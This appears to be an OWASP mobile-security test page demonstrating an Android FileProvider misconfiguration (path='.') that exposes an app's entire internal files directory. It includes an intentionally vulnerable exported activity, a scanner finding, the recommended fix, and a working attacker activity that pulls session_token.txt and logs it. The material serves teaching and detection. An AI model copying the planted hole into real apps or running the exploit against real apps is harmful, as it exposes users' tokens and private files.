The code below sets up a FileProvider to share lab report PDFs with external apps (e.g., email clients or document viewers). While the provider is not directly exported (android:exported="false"), it enables URI grants via android:grantUriPermissions="true". The filepaths.xml resource uses path=".", which exposes the entire internal filesDir, including sensitive files such as session_token.txt, to any app that receives a URI grant.
The Android Manifest exports the activity ShareReportActivity that can be queried by any other app.
packageorg.owasp.mastestappimportandroid.app.Activityimportandroid.content.Contextimportandroid.content.Intentimportandroid.os.Bundleimportandroidx.core.content.FileProviderimportjava.io.File// SUMMARY: Demonstrates oversharing via FileProvider misconfiguration where filepaths.xml uses path="." exposing the entire internal files directory.// FAIL: [MASTG-TEST-0357] FileProvider is configured with path="." in filepaths.xml, which exposes all files in filesDir — not just the intended reports subdirectory.classMastgTest(privatevalcontext:Context){funmastgTest():String{valr=DemoResults("0122")returntry{File(context.filesDir,"session_token.txt").writeText("sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b")File(context.filesDir,"reports").mkdirs()File(context.filesDir,"reports/lab_result_3829.pdf").writeText("%PDF-1.4 stub: cholesterol 195, HbA1c 6.8")r.add(Status.FAIL,"FileProvider path=\".\" exposes all of filesDir. "+"Intended: content://org.owasp.mastestapp.fileprovider/app_files/reports/lab_result_3829.pdf — "+"but session_token.txt is also reachable via the same authority.")r.toJson()}catch(e:Exception){r.add(Status.ERROR,"${e.javaClass.simpleName}: ${e.message}")r.toJson()}}// INTENTIONALLY VULNERABLE: exported activity that wraps attacker-controlled// filenames into FileProvider URIs and grants read access back to the caller.classShareReportActivity:Activity(){overridefunonCreate(savedInstanceState:Bundle?){super.onCreate(savedInstanceState)valrequested=intent.getStringExtra("file_name")?:run{setResult(RESULT_CANCELED);finish();return}valfile=File(filesDir,requested)valuri=FileProvider.getUriForFile(this,"org.owasp.mastestapp.fileprovider",file)valresult=Intent().apply{data=uriaddFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)}setResult(RESULT_OK,result)finish()}}}
The rule flags the files-path element with path=".".
output.txt
1 2 3 4 5 6 7 8 9101112131415
┌────────────────┐│1CodeFinding│└────────────────┘filepaths_reversed.xml❯❱rules.mastg-android-fileprovider-broad-path-scope[MASVS-PLATFORM]FileProviderpathelementisdeclaredwithpath=".",whichmapstheentirecorrespondingbasedirectoryintotheprovider's addressable namespace. Any file under that directorybecomesreachablethroughFileProvider.getUriForFile(),includingsecretsorfilesaddedlater.Narrowthepathtoaspecificsubdirectorycontainingonlyfilesintendedforsharing(e.g.path="reports/").3┆<files-path4┆name="app_files"5┆path="."/>
The test case fails because the FileProvider path configuration exposes the entire filesDir instead of only the intended reports/ subdirectory.
The mastg-android-fileprovider-broad-scope.yml rule flags path="." in filepaths.xml, confirming that any file in the app's internal storage can be shared via a URI grant — not just the intended lab report PDFs.
An attacker who tricks the app into sharing a URI (e.g., by sending a crafted intent) can request session_token.txt or any other file under filesDir using the same org.owasp.mastestapp.fileprovider authority.
The fix is to restrict the path to the specific subdirectory: path="reports/".
An attacker app could retrieve the secret token from the provider app and print it to the logs.
classAttackerActivity:ComponentActivity(){privatevallauncher=registerForActivityResult(ActivityResultContracts.StartActivityForResult()){result->valuri=result.data?.data?:run{Log.e("EXFIL","no URI returned");return@registerForActivityResult}contentResolver.openInputStream(uri)?.bufferedReader()?.use{reader->Log.e("EXFIL","Got from victim: ${reader.readText()}")}}overridefunonCreate(savedInstanceState:Bundle?){super.onCreate(savedInstanceState)valintent=Intent().apply{setClassName("org.owasp.mastestapp","org.owasp.mastestapp.MastgTest\$ShareReportActivity")// attacker picks the target fileputExtra("file_name","session_token.txt")}launcher.launch(intent)}}
When using adb logcat -s EXFIL you will see the output of the attacker app.